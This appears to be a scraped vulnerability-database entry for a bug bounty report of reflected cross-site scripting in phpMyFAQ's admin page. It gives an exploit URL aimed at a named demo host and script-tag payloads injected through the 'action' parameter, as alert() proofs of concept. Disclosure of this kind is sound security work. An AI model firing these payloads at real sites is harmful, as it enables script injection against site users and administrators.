Lucene search

K
huntrAggressiveuserA1649F43-78C9-4927-B313-36911872A84B
HistoryNov 26, 2022 - 2:30 p.m.

Reflect Cross Site Scripting

2022-11-2614:30:28
aggressiveuser
www.huntr.dev
6
cross-site scripting
injection
malicious scripts
trust
proof of concept
exploit url
payload
bug bounty
web security

0.001 Low

EPSS

Percentile

25.4%

Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

Proof of Concept

Go to your web phpmyfaq and visit below URL.

Exploit URL: https://roy.demo.phpmyfaq.de/admin/index.php?action=SEX"><ScRiPt>alert(133333337)</ScRiPt>

Payload USE:  "&gt;&lt;ScRiPt&gt;alert(9699)&lt;/ScRiPt&gt;

#YO Maintainer :) Long Time No SEE !

0.001 Low

EPSS

Percentile

25.4%

Related for A1649F43-78C9-4927-B313-36911872A84B